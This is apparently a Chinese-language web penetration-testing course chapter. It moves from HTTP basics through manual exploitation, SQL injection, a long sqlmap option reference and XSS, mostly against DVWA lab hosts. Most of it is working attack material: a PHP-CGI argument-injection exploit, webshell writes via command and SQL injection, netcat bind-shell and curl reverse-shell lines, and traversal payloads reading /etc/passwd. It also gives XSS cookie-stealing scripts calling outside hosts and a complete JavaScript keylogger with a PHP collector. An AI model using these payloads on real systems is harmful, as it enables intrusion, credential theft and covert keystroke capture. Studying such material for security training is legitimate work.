第十二章 WEB渗透
Web技术发展
• 静态WEB
• 动态WEB
• 应用程序
• 数据库
• 每个人看到的内容不同
• 根据用户输入返回不同结果
WEB攻击面
• Network
• OS
• WEB Server
• App server
• Web Application
• Database
• Browser
HTTP协议基础
• 明文
• 无内建的机密性安全机制
• 嗅探或代理截断可查看全部明文信息
• https只能提高传输层安全
• 无状态
• 每一次客户端和服务器端的通信都是独立的过程
• WEB应用需要跟踪客户端会话(多步通信)
• 不使用cookie的应用,客户端每次请求都要重新身份验证(不现实)
• Session用于在用户身份验证后跟踪用户行为轨迹
• 提高用户体验,但增加了攻击向量
• Cycle
• 请求/ 响应
• 重要的header
• Set-Cookie:服务器发给客户端的SessionID(被窃取的风险)
• Content-Length:响应body部分的字节长度
• Location:重定向用户到另一个页面,可识别身份认证后允许访问的页面
• Cookie:客户端发回给服务器端证明用户状态的信息(头:值成对出现)
• Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易被修改绕过
状态码(5大类)
100S:服务器响应的信息,通常表示服务器还有后续处理,很少出现
200S:请求被服务器成功接受并处理后返回的响应结果
300S:重定向,通常在身份认证成功后重定向到一个安全页面(301/302)
400S:表示客户端请求错误
401.需要身份验证
403.访问拒绝
404.页面丢失
500S:服务器内部错误
503.服务不可用
工具类使用方法请移至:常用工具使用简介
手动漏洞挖掘
• 默认安装
• Windows默认安装漏洞
• phpMyAdmin/setup
• Ubuntu / Debian 默认安装PHP5-cgi
• 可直接访问 /cgi-bin/php5 和 /cgi-bin/php(爬不出来的目录)
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
<?php
passthru('id');
die();
?>
• PHP反弹shell
• /usr/share/webshells/php/php-reverse-shell.php // 反弹shell,需要设置好你的IP地址和端口,然后通过nc在本地监听此端口,然后通过burp将其内容直接向服务器发送
• File
• Whereis
• Ifconfig
• 写入webshell
• ;echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php
• POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
• Host: 123
<?php
echo system('cat /etc/passwd');
?>
• POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D
%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E
%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6E HTTP/1.1
•Host: 192.168.20.5
<?php
system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe'); // 在服务器端监听4444端口,然后客户端通过nc命令连接其4444端口,就可以get_shell了
?>
• 身份认证
• 常用弱口令 / 基于字典的密码爆破
• 锁定账号
• 信息收集
• 手机号
• 密码错误提示信息
• 密码嗅探
• 会话sessionID
• Xss / cookie importer
• SessionID in URL
• 嗅探
• SessionID 长期不变 / 永久不变
• SessionID 生成算法
• Sequencer
• 私有算法
• 预判下一次登录时生成的SessionID
• 登出后返回测试
• 密码找回
• https://www.example.com/reset?email=user@example.com&key=b4c9a289323b21a01c3e940f150eb9b8c542587f1abfd8f0e1cc1ffc5e475514
• 漏洞挖掘原则
• 所有变量
• 所有头
• Cookie中的变量
• 逐个变量删除
• 漏洞的本质
• 数据与指令的混淆
• 对用户输入信息过滤不严判断失误,误将指令当数据
• 命令执行
• 应用程序开发者直接调用操作系统功能
• ; && | || &
• 查看源码,过滤用户输入
• ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
• ;curl http://1.1.1.1/php-revers-shell.php
• Directory traversal / File include (有区别 / 没区别)
• 目录权限限制不严 / 文件包含
• /etc/php5/cgi/php.ini
• allow_url_include = on
• 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件
• 读、写文件,远程代码执行
• 特征但不绝对
• ?page=a.php
• ?home=b.html
• ?file=content
• 经典测试方法
• ?file=../../../../etc/passwd
• ?page=file:///etc/passwd
• ?home=main.cgi
• ?page=http://www.a.com/1.php
• http://1.1.1.1/../../../../dir/file.txt
• 编码绕过字符过滤
• “.” “%00” # 绕过文件扩展名过滤
• ?file=a.doc%00.php
• 使用多种编码尝试
• 不同操作系统的路径特征字符
• 类unix系统
• 根目录:/
• 目录层级分隔符:/
• Windows 系统
• C:\
• \ 或 /
• 编码
• url 编码、双层url 编码
• %2e%2e%2f 解码:../
• %2e%2e%5c 解码:..\
• %252e%252e%255c 解码:..\
• Unicode/UTF-8 编码
• ..%c0%af 解码:../
• ..%u2216
• ..%c1%9c 解码:..\
• 其他系统路径可能使用到的字符
• file.txt...
• file.txt<spaces>
• file.txt””””
• file.txt<<<>>><
• ./././file.txt
• nonexistant/../file.txt
• UNC 路径
• \\1.1.1.1\path\to\file.txt
• 代码
• 攻击
• 结果
• 本地文件包含 lfi
• 查看文件
• 代码执行
• <?php echo shell_exec($_GET['cmd']);?>
• Apache access.log
• 远程文件包含 rfi
• 出现概率少于lfi 但更容易被利用
• /usr/share/wfuzz/wordlist/vulns/
searchsploit ms11-080 // 终端命令行下搜索相应漏洞
• 文件上传漏洞
• <?php echo shell_exec($_GET['cmd']);?>
• 直接上传webshell
• 修改文件类型上传webshell
• Mimetype——文件头、扩展名
• 修改扩展名上传webshell
• 静态解析文件扩展名时可能无法执行
• 文件头绕过过滤上传webshell
• 上传目录权限
手动漏洞挖掘——SQL注入
原理:有如下sql查询语句
select user,password from users where user = ' '
用户注入的内容将会在两个单引号之间,比如 1’ and ‘1’=‘1,那么上面的语句就变成如下:
select user,password from users where user = ' 1’ and ‘1’=‘1 ' / /这样就发现单引号与单引号两两进行了闭合
• 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
• 用户登录判断
• SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
• SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘
• 基于报错的检测方法(low)
• ‘ “ % ( )
• 基于布尔的检测
• 1’ and ‘1’=‘1 / 1’ and ‘1
• 1’ and ‘1’=‘2 / 1’ and ‘0
• 表列数 / 显示信息位于哪一列
• ‘ order by 9-- # 按查询列号排序(注释符:-- ),两个--后面的空格不能丢,两个--后面的内容代表注释,不去进行解释 select user,password from users where user = ' 'order by 9-- ',通过这个我们可以得出表的准确列数,比如order by 50,会报错太大了,然后order by 25,又太大了,然后15,以此类推,最后得出准确的列的数量
• select * 时表字段数=查询字段数
• 联合查询
• ’ union select 1,2--+ // +号是使用hackbar插件自动将空格转变为+号,本质上好空格没有区别,当得出列的准确数量之后,就可以查询其结果
• ’ union all select database(),2--+ // 我们可以将某列上面的内容替换成数据库里面的内置全局函数从而获取得到我们想要的信息
• ' union select database(),substring_index(USER(),"@",1)-- // substring_index(USER(),"@",1)的意思是以@作为分隔符,取USER()全局函数的第一个值如USER()的值为root@localhost,那么这个字段的值就是root
• DB用户:user()
• DB版本:version()
• 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
• 当前库:database()
• ASCII转字符:char()
• 连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version()) // 让其在一行显示,其中char(32,58,32)代表的是空格:空格,root@localhost : dvwa : 5.0.51a-3ubuntu
• 计算哈希:md5()
• Mysql 数据结构
• information_schema
• 所有库所有表 / 统计每库中表的数量
• ‘ union select table_name,table_schema from information_schema.tables--+
• ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
• Dvwa库中的表名
• ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
• Users表中的所有列 (user_id、first_name、last_name、user、password、avatar)
• ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+
• 查询user、password列的内容
• ' union select user,password from dvwa.users--+
• ' union select user,password from users--+
• ' union select null, concat(user,0x3a,password) from users--+ // concat是连接字符
• 密码破解
• username:passhash ——> dvwa.txt
• john --format=raw-MD5 dvwa.txt
• 读取文件
• ' union SELECT null, load_file('/etc/passwd')--+
• 写入文件
• ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+ // 能不能成功写入具体需要看权限
• Mysql 账号
• cat php-revers-shell.php | xxd -ps | tr -d ‘\n’ // xxd是将php的反弹shell进行16进制编码,然后在删除行尾的换行符,变成一行,再通过burp对其进行发送给服务器
• ' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'-- //将上面生成的16进制编码的反弹shell放到(0x)里面
• 保存下载数据库
• ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'-- // 0x3a 即 :
• 一个思路:编写服务端代码
(有的时候我们拿到服务器的数据库账号和密码,由于密码是通过某种方式进行加密的,通常是md5,如果通过工具去对密码进行解密,可能需要大量的时间,甚至几十年,上百年,这个时候我们就在想能不能在数据库新建一个账号和密码,或者直接更改管理员账号的密码,当然是需要通过md5加密之后的(注意:系统的md5算法和mysql的md5算法很有可能不一致))
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br>
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --
• 无权读取information_schema库 / 拒绝union、order by语句 (当没有权限读取information_schema库的时候,可以考虑通过以下方法逐步获取相应信息)
• 猜列名:' and column is null--+
• Burp suite 自动猜列名
• 猜当前表表名: ' and table.user is null--+
• 猜库里其他表:' and (select dvwa from table)>0--+
• 列表对应关系: ' and users.user is null--+
• 猜字段内容:' or user='admin
' or user like ' %a%
• 猜账号对应密码
• ' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
• 当数据库可写
• '; update users set user='yuanfh' where user='admin
• 注入失败,Sql客户端工具的问题
• http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html
• '; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES(‘35',‘fh',‘yuan',‘yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
• '; DROP TABLE users; -- // 慎用
• xp_cmdshell // 存储过程
• SQLi没有通用的方法,掌握原理,了解各种数据库特性
• Medium难度级别
(dvwa的中安全级别可以发现其是对于某些特殊字符做了转义,如'单引号会转换成\',所以在中安全级别里的SQL注入其实比低安全级别的SQL注入更容易突破,因为不用加前面的'单引号进行闭合,也不用加后面的-- 进行注释)
• mysql_real_escape_string()
• PHP 4 >= 4.3.0, PHP 5
• PHP 5.5.0 已经弃用此函数
• PHP 7.0.0 已经删除此函数,代之以 MySQLi 、 PDO_MySQL
• 转义符,对下列字符转义
• high难度级别 (高安全级别里面对于输入的内容进行了判断,会判断你输入的是否是数字,这个级别就不存在SQL注入漏洞)
• mysql_real_escape_string()
• stripslashes()
• 去除 “\”
• is_numeric()
• 判断是否是数字
手工漏洞挖掘——SQL盲注
• 不显示数据库内建的报错信息
• 内建的报错信息帮助开发人员发现和修复问题
• 报错信息提供关于系统的大量有用信息
• 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即:盲注
• 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
• 1‘ and 1=1--+
• 1‘ and 1=2--+
在SQL盲注里面我们可以通过order by语句来判断存在的列数
• 1' order by 5--+ 假
• 1' order by 2--+ 真
• 1' union select 1,2--+
• 1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
• 1' and 1=0 union select null,table_name from information_schema.tables#
• 1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #
• 无权读取information_schema库/ 拒绝union、order by语句
• 猜列名:1' and user is not null--+
• 猜当前表表名: 1' and table.user is not null--+
• 猜库里其他表:1' and (select count() from table)>0--+
• 列表对应关系: 1' and users.user is not null--+
• 猜字段内容:1' and user='admin
1' or user like '%a%
• 猜账号密码
• 2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
• Burpsuit 自动化猜解内容
SQLMAP自动注入
• 开源sql注入漏洞检测、利用工具
• 检测动态页面中get/post参数、cookie、http头
• 数据榨取
• 文件系统访问
• 操作系统命令执行
• 引擎强大、特性丰富
• Xss漏洞检测
• 五种漏洞检测技术
• 基于布尔的盲注检测
• 基于时间的盲注检测
• ' and (select * from (select(sleep(20)))a)--+
• 基于错误的检测
• 基于UNION联合查询的检测
• 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
• 基于堆叠查询的检测
• ; 堆叠多个查询语句
• 适用于非select的数据修改、删除的操作
• 支持的数据库管理系统DBMS
• MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase , SAP MaxDB
• 其他特性
• 数据库直接连接 -d
• 不通过SQL注入,制定身份认证信息、IP、端口
• 与burpsuite、google结合使用,支持正则表达式限定测试目标
• Get、post、cookie、 Referer、User-Agent(随机或指定)
• Cookie过期后自动处理Set-Cookie头,更新cookie信息
• 限速:最大并发、延迟发送
• 支持Basic, Digest, NTLM, CA身份认证
• 数据库版本、用户、权限、hash枚举和字典爆破、暴力破解表列名称
• 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
• 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
• 基于python2.7 开发
• 安装
• apt-get install git
• git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
• 升级
• sqlmap --update 在线
• git pull 离线
• Kali集成版随kali库更新
• sqlmap -h / -hh
• sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users --banner --dbs --schema -a
• sqlmap --version -v
• 日志
• .sqlmap
• 输出
• 输出内容详细度分7个等级
SQLMAP自动注入01——TARGET
• Get方法
• sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f
• 扫描URL列表文件
• http://1.1.1.1/vuln1.php?q=foobar
http://1.1.1.1/vuln3/id/1*
• sqlmap -m list.txt
• 扫描google搜索结果
• sqlmap.py -g "inurl:\".php?id=1\""
• POST方法
• 使用http请求文件(burpsuite)
• sqlmap -r request.txt
• 使用burpsuite log文件
• sqlmap -l log.txt
• HTTPS
• sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
• 扫描配置文件
• sqlmap -c sqlmap.conf
SQLMAP自动注入02——REQUEST
• 数据段:--data
• get / post 都适用
• sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
• 变量分隔符:--param-del
• http://1.1.1.1/a.php?q=foo;id=1 // ; &
• sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
• cookie 头:--cookie
• web应用需要基于cookie的身份认证
• 检查cookie中的注入点(level >=2)
• Set-Cookie / --drop-set-cookie / --cookie-del
• sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="a=1;b=2" -f
• --user-agent
• sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
• --random-agent
• /usr/share/sqlmap/txt/user-agents.txt
• sqlmap检查user-agent中的注入点:Level >= 3
• APP/WAF/IPS/IDS 过滤异常 user-agent时报错
• [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
• Host头:--host
• Level =5
• Referer头:--referer
• Level >=3
• 额外的header: --headers
• 每个头单独一行(名称区分大小写)
• sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="host:www.a.com\nUser-Agent:yuanfh"
• --method=GET/POST
• 基于HTTP协议的身份验证
• Basic
• Digest
• NTLM
• sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
• --auth-cert / --auth-file
• --auth-file="ca.PEM"
• 含有私钥的PEM格式证书文件
• PEM格式的证书链文件
• http(s) 代理
• --proxy="http://127.0.0.1:8087"
• --proxy-cred="name:pass"
• --ignore-proxy
• 忽略系统级代理设置,通常用于扫描本地网络目标
• sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f
• --delay
• 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
• --timeout
• 请求超时时间,浮点数,默认为30秒
• --retries
• http(s)连接超时重试次数,默认3次
• --randomize
• 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
• --scope
• 过滤日志内容,通过正则表达式筛选对象
• sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)“
• sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
• User-agent中的注入点
• --safe-url / --safe-freq
• 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
• 每发送--safe-freq次注入请求后,发送一次正常请求
• --skip-urlencode
• 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
• --eval
• 每次请求前执行指定的python代码
• 每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
• sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
SQLMAP自动注入03——OPTIMIZATION
• 优化性能
• --predict-output
• 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
• 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
• 与--threads参数不兼容
• 统计表:/usr/share/sqlmap/txt/common-outputs.txt
• --keep-alive
• 使用http(s)长连接,性能好
• 与 --proxy参数不兼容
• 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
• --null-connection
• 只获取相应页面的大小值,而非页面具体内容
• 通常用于盲注判断 真 / 假,降低网络带宽消耗
• 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
• --threads
• 最大并发线程
• 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
• 默认值为1,建议不要超过10,否则可能影响站点可用性
• 与 --predict-output 参数不兼容
• -o 开启前三个性能参数 (除--threads参数)
SQLMAP自动注入04——INJECTION
• -p
• 指定扫描的参数,使--level失效
• -p "user-agent, referer"
• --skip
• 排除指定的扫描参数
• --level=5 --skip=“id,user-agent“
• URI注入点
• sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
• --dbms=“mysql”
• MySQL <5.0>
• Oracle <11i>
• Microsoft SQL Server <2005>
• PostgreSQL
• Microsoft Access
• SQLite
• Firebird
• Sybase
• SAP MaxDB
• DB2
• --os
• Linux
• Windows
• --invalid-bignum / --invalid-logical
• 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13
• bignum 使用大数使参数值失效 id= 99999999
• Logical 使用布尔判断使取值失效 id=13 AND 18=19
• --no-cast
• 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
• 老版本mysql数据库需要开启此开关
• --no-escape
• 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
• SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)
• 本参数将关闭此功能
• --prefix / --suffix
• $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
• sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“
• query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
• --tamper
• 混淆脚本,用于绕过应用层过滤、IPS、WAF
• sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/ between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
SQLMAP自动注入05——DETECTION
• --level
• 1-5级,(默认1)
• /usr/share/sqlmap/xml/payloads
• --risk
• 1-4 (默认1 / 无害)
• Risk升高可造成数据被篡改等风险(update)
• --string, --not-string, --regexp, --code, --text-only, --titles
• 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。
SQLMAP自动注入06——TECHNIQUES
• 默认使用全部技术
• B: Boolean-based blind
• E: Error-based
• U: Union query-based
• S: Stacked queries(文件系统、操作系统、注册表必须)
• T: Time-based blind
• --time-sec
• 基于时间的注入检测相应延迟时间(默认5秒)
• --union-cols
• 默认联合查询 1-10列,随--level增加最多支持50列
• --union-cols 6-9
• --union-char
• 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
• --union-char 123
• --dns-domain
• 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
• --dns-domain attacker.com
• --second-order
• 在一个页面注入的结果,从另一个页面体现出来
• --second-order http://1.1.1.1/b.php
SQLMAP自动注入07——FINGERPRINT
• -f , --fingerprint, -b , --banner
• 数据库管理系统指纹信息
• DBMS, 操作系统,架构,补丁
SQLMAP自动注入08——ENUMERATION
• --current-user
• --current-db
• --hostname
• --users
• --privileges -U username (CU当前账号)
• --roles
• --dbs
• --tables, --exclude-sysdbs –D dvwa
• -T users -D dvwa -C user --columns
• --schema --batch --exclude-sysdbs 元数据(使用默认选项)
• --count
• Dump数据
• --dump, -C, -T, -D, --start, --stop
• --dump-all --exclude-sysdbs
• --sql-query "select * from users"
SQLMAP自动注入09——BRUTE FORCE
• Mysql < 5.0 , 没有information_schema 库
• Mysql >= 5.0 但无权读取information_schema 库
• 微软的access数据库,默认无权读取MSysObjects 库
• --common-tables
• --common-columns (Access系统表无列信息)
SQLMAP自动注入10——UDF INJECTION
• --udf-inject , --shared-lib
• 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入
• Linux : shared object
• Windows :DLL
• http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
SQLMAP自动注入11——FILE SYSTEM
• --file-read="/etc/passwd"
• --file-write="shell.php" --file-dest "/tmp/shell.php"
SQLMAP自动注入12——OS
• Mysql 、postgresql
• 上传共享库并生成sys_exec()、sys_eval()两个UDF
• Mssql
• xp_cmdshell 存储过程(有就用,禁了启,没有建)
• --sql-shell
• --os-shell
• --os-cmd
SQLMAP自动注入13——WINDOWS REGISTORY
• --reg-read
• --reg-add
• --reg-del
• --reg-key、--reg-value、--reg-data、--reg-type
• sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
SQLMAP自动注入14——GENERAL
• -s:sqlite会话文件保存位置
• -t:记录流量文件保存位置
• --charset:强制字符编码
• --charset=GBK
• --crawl:从起始位置爬站深度
• --batch --crawl=3
• --csv-del:dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符
• --csv-del=";"
• --dbms-cred:指定数据库账号
• --flush-session 清空session
• --force-ssl
• --fresh-queries 忽略session查询结果
• --hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后还原
• sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
• --output-dir=/tmp
• --parse-errors:分析和现实数据库内建报错信息
• sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors
• --save:将这些命令保存成配置文件
SQLMAP自动注入15——MISCELLANEOUS
• -z:参数助记符
• sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1"
• sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"
• sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1"
• sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“
• --answer
• sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch
• --check-waf:检测WAF/IPS/IDS
• --hpp:HTTP parameter pollution
• 绕过WAF/IPS/IDS的有效方法
• 尤其对ASP/IIS 和ASP.NET/IIS
• --identify-waf:彻底的waf/ips/ids检查
• 支持30多种产品
• --mobile:模拟智能手机设备
• --purge-output:清除output文件夹
• --smart:当有大量检测目标时,只选择基于错误的检测结果
• --wizard
XSS漏洞
• 攻击WEB客户端
• 客户端脚本语言
• 弹窗告警
• Javascript
• 在浏览器中执行
• XSS(cross-site scripting)
• 通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
• 注入客户端脚本代码
• 盗取cookie
• 重定向
• VBScript, ActiveX, or Flash
• JavaScript
• 与 Java 语言无关
• 命名完全出于市场原因
• 使用最广的客户端脚本语言
• 使用场景
• 直接嵌入 html:<script> alert(‘XSS’); </script>
• 元素标签事件:<body onload=alert(‘XSS’)>
• 图片标签:<img src="javascript:alert('XSS');">
• 其他标签:<iframe>, <div>, and <link>
• DOM对象,篡改页面内容
• 攻击参与方
• 攻击者
• 被攻击者
• 漏洞站点
• 第三方站点(攻击目标、攻击参与站)
• 漏洞形成的根源
• 服务器对用户提交数据过滤不严
• 提交给服务器的脚本被直接返回给其他客户端执行
• 脚本在客户端执行恶意操作
• XSS漏洞类型
• 存储型(持久型)
• 反射型(非持久型)
• DOM型
• 漏洞 PoC
• <script>alert(‘xss’)</script>
• <a href='' onclick=alert('xss')>type</a>
• <img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
• <script>window.location=‘http://1.1.1.1'</script>
• <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
• <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
• <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
• 窃取cookie
• <script src=http://1.1.1.1/a.js></script>
• a.js源码
• var img = new Image();
• img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
Keylogger.js
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
• Keylogger.php
<?php $key=$_POST['key']; $logfile="keylog.txt";$fp = fopen($logfile, "a");fwrite($fp, $key);fclose($fp);?>
<script+src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</a>
• Xsser
• 命令行 / 图形化工具
• 绕过服务器端筛选
• 10进制 / 16进制 编码
• unescape()
• xsser -u “http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=d23e469411707ff8210717e67c521a81" -s -v --reverse-check
• --heuristic 检查被过滤的字符
• 对payload编码,绕过服务器端筛选过滤
• --Str Use method String.FromCharCode()
• --Une Use Unescape() function
• --Mix Mix String.FromCharCode() and Unescape()
• --Dec Use Decimal encoding
• --Hex Use Hexadecimal encoding
• --Hes Use Hexadecimal encoding, with semicolons
• --Dwo Encode vectors IP addresses in DWORD
• --Doo Encode vectors IP addresses in Octal
• --Cem=CEM Try -manually- different Character Encoding Mutations
• (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')
• 注入技术(多选)
• --Coo Cross Site Scripting Cookie injection
• --Xsa Cross Site Agent Scripting
• --Xsr Cross Site Referer Scripting
• --Dcp Data Control Protocol injections
• --Dom Document Object Model injections
